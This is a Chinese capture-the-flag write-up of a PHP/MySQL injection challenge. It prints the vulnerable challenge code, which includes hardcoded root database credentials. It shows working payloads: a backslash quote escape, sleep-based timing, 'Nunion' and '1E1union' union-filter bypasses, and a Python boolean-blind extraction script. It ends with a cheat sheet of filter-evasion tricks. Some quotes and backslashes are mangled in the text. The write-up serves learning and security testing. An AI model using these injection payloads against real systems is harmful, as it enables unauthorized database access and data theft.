三个白帽子之我是李雷雷,我在寻找韩梅梅系列 1--writeup

2023-02-27 15:14:13 浏览数 (1)

这是一个mysql的注入绕过类题目,相对来说是很简单的题目了,由于近来在学习基于正则的waf的绕过技巧,此处就拿此题作引子,引出下面的各种姿势吧.

0x1.先看题目:

[php] <?php

/*

create table baimaozi (intro varchar(40),name varchar(20),nick varchar(20)); insert into baimaozi values (md5(‘flag’),’wonderkun’,’wonderkun’); create table flag (flag varchar(32)); insert into flag values (md5(‘flag’));

*/

function sanitize($input){ $blacklist = array(‘'‘, ‘“‘, ‘/‘, ‘*’, ‘.’); return str_replace($blacklist, ‘’, $input); } $host = “localhost”; $user = “root”; $pass = “123456”; $db = “sangebaimao”;

$connect = mysql_connect($host, $user, $pass) or die(“Unable to connect”); mysql_select_db($db) or die(“Unable to select database”);

$name = isset($_GET[‘name’])?sanitize($_GET[‘name’]):die();

$query = ‘select intro from baimaozi where name='‘.$name.’' or nick='‘.$name.’' limit 1’;

echo $query; if (preg_match(‘/[^a-zA-Z0-9_]union[^a-zA-Z0-9_]/i’, $name) || preg_match(‘/^union[^a-zA-Z0-9_]/i’, $name)){ echo “not allow”; exit; }

$result = mysql_query($query);

$row = mysql_fetch_array($result); echo $row[0];

[/php]

看了一下第一处过滤:

[php] function sanitize($input){ $blacklist = array(‘'‘, ‘“‘, ‘/‘, ‘*’, ‘.’); return str_replace($blacklist, ‘’, $input); } [/php]

可以看到过滤了,单引号,双引号,/,*,还有点; 再看下面构造的sql语句:

[php] $query = ‘select intro from baimaozi where name='‘.$name.’' or nick='‘.$name.’' limit 1’; [/php]

变量是用单引号包裹的,注入的时候却过滤了单引号,这就出现了一个问题,怎么在没有单引号的情况下闭合掉单引号???

思路是这样的,这个sql语句有4个单引号,其中两个两个配对,总共是两对,既然我们没有办法去输入单引号来闭合他原来的单引号,那么我们是不是可以通过干掉单引号来闭合单引号呢?

观察发现真的没有过滤 ‘'(反斜杠),所以我们可以通过反斜杠去干掉单引号:先传入

[php] http://127.0.0.1/index.php?name=[/php]

打印出来sql语句如下:

[php]select intro from baimaozi where name=’' or nick=’' limit 1[/php]

但是个sql语句报错了,因为第二个单引号被干掉了,第一个单引号和第三个单引号组成了一对,' limit 1 就多余了..所以报错了. 所以考虑把' limit 1 注释掉;

[php]http://127.0.0.1/index.php?name=#[/php]

sql语句如下:

[php]select intro from baimaozi where name=’#' or nick=’#' limit 1[/php]

注意:第一个#包裹在单引号中间,没有起到注释的作用,第二个#才是注释.这下就不报错了.

[php]

payload:http://127.0.0.1/index.php?name= or sleep(3)# //成功延时

[/php]

0x2. 可以注入了,但是怎么出数据??

来看这个正则:

[php]

if (preg_match(‘/[^a-zA-Z0-9_]union[^a-zA-Z0-9_]/i’, $name) || preg_match(‘/^union[^a-zA-Z0-9_]/i’, $name)){ echo “not allow”; exit; }

[/php]

如果^用于中括号表达式的第一个字符,表示对字符集取反,用于中括号外面表示以这个字符开头:

[^a-zA-Z0-9_]匹配除了这些字符之外的字符,^union 匹配由union开头的字符. 所以想绕过union仅有两种可能:

  1. $name不是以union开头,但是其前或后至少要有一个字符在[a-zA-Z0-9_]的范围之内.
  2. $name是用union开头,但是其后面的字符在[a-zA-Z0-9_]的范围之内

有两种解法:

解法一:绕过union的限制

某位大牛发现了下面方法:

深度截图20160630195653

看到了吗 ? 由于过滤了’.’,所以第一种payload不能用;

给两种payload:

[php]

payload1:http://127.0.0.1/index.php?name=or name=Nunion select flag from flag#

payload2:http://127.0.0.1/index.php?name=or name=1E1union select flag from flag#

[/php]

解法二:bool盲注

由于比较简单,直接给python代码:

[python] import requests perstr=”0123456789abcdef” flag=’’ for i in range(1,33): for j in perstr: url=”http://127.0.0.1/threebaimao/source1.php?name= or 1=if(ascii(substring((select flag from flag),{i},1))={j},1,0)#“.format(i=str(i),j=ord(j))

res=requests.get(url)

if “327a6c4304ad5938eaf0efb6cc3e53dc” in res.text : flag =j break print flag [/python]

0x3,mysql注入的其他绕过技巧(持续更新中....)

mysql常用的注释

代码语言:javascript复制
--  , /**/ ,  # , -- -, ; , `,

mysql 过滤了空格的绕过方法

代码语言:javascript复制
1.可以用()绕过,但是有局限性,括号是用来包围子查询的,因此任何计算出来的结果都可以用括号包围起来
2.	, 
,  ,  ,
 , �  (� 不会被php的s匹配,所以有时候有奇效), /**/ ,  
3.用多个空格代替一个空格
4.利用内敛注释:/*!select*//*!user*//*!from*//*!mysql.user*/;

过滤了 = 的绕过:

代码语言:javascript复制
1.用函数绕过,: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1),  greatest()
2.用 > , <  
3. like ,  regexp , in 
in 的用法 :select 'user' in ('user');    字符串都是可以用16进制代替的.

等价替换的一些函数

代码语言:javascript复制
hex() ,  bin()  => ascii()
sleep()      =>  benchmark() 
mid()  ,  substr()   =>  substring()

绕过逗号的情况

代码语言:javascript复制
select   substr(user()from(1)for(1)) ;

绕过某些关键字的过滤

代码语言:javascript复制
select => select   # 在ctf中出现好几次了,但是这不是通法,至少在我的mysql中是不行的.
select => /*!select*/  # may be  可以绕过啊

order by 子句的注入:

代码语言:javascript复制
1. select user,host from mysql.user  order by (case/**/when((1=2))then(user)else(host)end);

2. 报错注入 :  select user,host from mysql.user  order by (extractvalue(user(),concat(0x3a,user(),0x3a))); 

3. select user,host from mysql.user  order by if(1,user,host);  跟第一个差不多

4. select user,host from mysql.user  order by 1,(select case when (1=1) then 1 else 1*(select user from mysql.user) end )=1;
select user,host from mysql.user  order by 1,(select case when (1=2) then 1 else 1*(select user from mysql.user) end )=1;

mysql 的一个黑魔法

代码语言:javascript复制
select {x user} from {x mysql.user};
select user from mysql.user where user=~18446744073709551615;
select  id from ctf.user where id=(sleep(ascii(mid(user()from(2)for(1)))=109)); (没有用到空格,逗号,大于或者小于号,非常实用!)

0 人点赞